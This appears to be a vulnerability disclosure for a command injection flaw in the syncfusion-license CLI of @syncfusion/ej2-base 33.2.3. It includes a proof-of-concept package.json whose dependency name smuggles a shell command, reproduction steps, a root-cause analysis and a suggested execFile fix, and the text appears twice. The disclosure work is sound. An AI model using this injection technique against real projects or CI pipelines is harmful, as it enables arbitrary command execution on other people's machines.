Description
@syncfusion/ej2-base publishes the syncfusion-license CLI:
The syncfusion-license validate command reads dependency names and versions from the current project's package.json. For Syncfusion package entries, it builds an npm view command by string concatenation and executes it with child_process.exec().
Because the package name is read from package.json and is not shell-escaped before being concatenated into the command string, shell metacharacters in a dependency name can execute arbitrary commands.
This is reachable through the public CLI and does not require importing internal files.
Affected Version
Confirmed affected:
@syncfusion/ej2-base 33.2.3
33.2.3 is the current npm version tested.
To Reproduce
rm -rf /tmp/syncfusion-poc /tmp/syncfusion-aci
mkdir -p /tmp/syncfusion-poc
cd /tmp/syncfusion-poc
printf '%s' '{"dependencies":{"@syncfusion/ej2-base;touch /tmp/syncfusion-aci;#":"33.2.3"}}' > package.json
npx -y -p @syncfusion/ej2-base@33.2.3 syncfusion-license validate
test -f /tmp/syncfusion-aci && echo "VULNERABLE"
Observed Result
The marker file is created:
In my local reproduction, the command exited with an unrelated readline error after the injected command had already executed:
Error [ERR_USE_AFTER_CLOSE]: readline was closed
To confirm the exact shell command, I also hooked child_process.exec():
const cp = require('child_process');
const orig = cp.exec;
cp.exec = function(command, ...args) {
console.error('[exec]', command);
return orig.call(this, command, ...args);
};
The logged command was:
[exec] npm view @syncfusion/ej2-base;touch /tmp/syncfusion-aci-hook;#@33.2.3 version
The marker file /tmp/syncfusion-aci-hook was created as well.
Expected Behavior
Dependency names and versions read from package.json should be treated only as npm package identifiers. Shell metacharacters such as ;, #, $(), backticks, quotes, or spaces should not be interpreted by a shell.
Root Cause
The published bin/syncfusion-license.js script is minified/obfuscated, but the vulnerable data flow is visible in the published package:
exec('npm view ' + packageName + '@' + version + ' version', callback);
packageName comes from keys in package.json dependencies/devDependencies. Since child_process.exec() runs through a shell, a package name such as:
@syncfusion/ej2-base;touch /tmp/syncfusion-aci;#
turns the intended command into:
npm view @syncfusion/ej2-base;touch /tmp/syncfusion-aci;#@33.2.3 version
This executes touch /tmp/syncfusion-aci.
Impact
If a developer, CI job, release workflow, repository scanner, or support automation runs:
syncfusion-license validate
inside an attacker-controlled or untrusted project directory, arbitrary shell commands can execute with the privileges of that process.
This can affect workflows that validate dependencies or licenses before installing/building a project.
Suggested Fix
Avoid constructing shell command strings for npm view.
Use child_process.execFile() or spawn() with shell: false and pass arguments as an array:
execFile('npm', ['view', `${packageName}@${version}`, 'version'], callback);
Also consider validating dependency names with npm package-name validation before invoking npm.
Environment
OS: macOS arm64
Node.js: v24.10.0
npm package: @syncfusion/ej2-base@33.2.3
CLI: syncfusion-license validate
Description
@syncfusion/ej2-basepublishes thesyncfusion-licenseCLI:The
syncfusion-license validatecommand reads dependency names and versions from the current project'spackage.json. For Syncfusion package entries, it builds annpm viewcommand by string concatenation and executes it withchild_process.exec().Because the package name is read from
package.jsonand is not shell-escaped before being concatenated into the command string, shell metacharacters in a dependency name can execute arbitrary commands.This is reachable through the public CLI and does not require importing internal files.
Affected Version
Confirmed affected:
33.2.3is the current npm version tested.To Reproduce
Observed Result
The marker file is created:
In my local reproduction, the command exited with an unrelated readline error after the injected command had already executed:
To confirm the exact shell command, I also hooked
child_process.exec():The logged command was:
The marker file
/tmp/syncfusion-aci-hookwas created as well.Expected Behavior
Dependency names and versions read from
package.jsonshould be treated only as npm package identifiers. Shell metacharacters such as;,#,$(), backticks, quotes, or spaces should not be interpreted by a shell.Root Cause
The published
bin/syncfusion-license.jsscript is minified/obfuscated, but the vulnerable data flow is visible in the published package:packageNamecomes from keys inpackage.jsondependencies/devDependencies. Sincechild_process.exec()runs through a shell, a package name such as:turns the intended command into:
This executes
touch /tmp/syncfusion-aci.Impact
If a developer, CI job, release workflow, repository scanner, or support automation runs:
inside an attacker-controlled or untrusted project directory, arbitrary shell commands can execute with the privileges of that process.
This can affect workflows that validate dependencies or licenses before installing/building a project.
Suggested Fix
Avoid constructing shell command strings for
npm view.Use
child_process.execFile()orspawn()withshell: falseand pass arguments as an array:Also consider validating dependency names with npm package-name validation before invoking npm.
Environment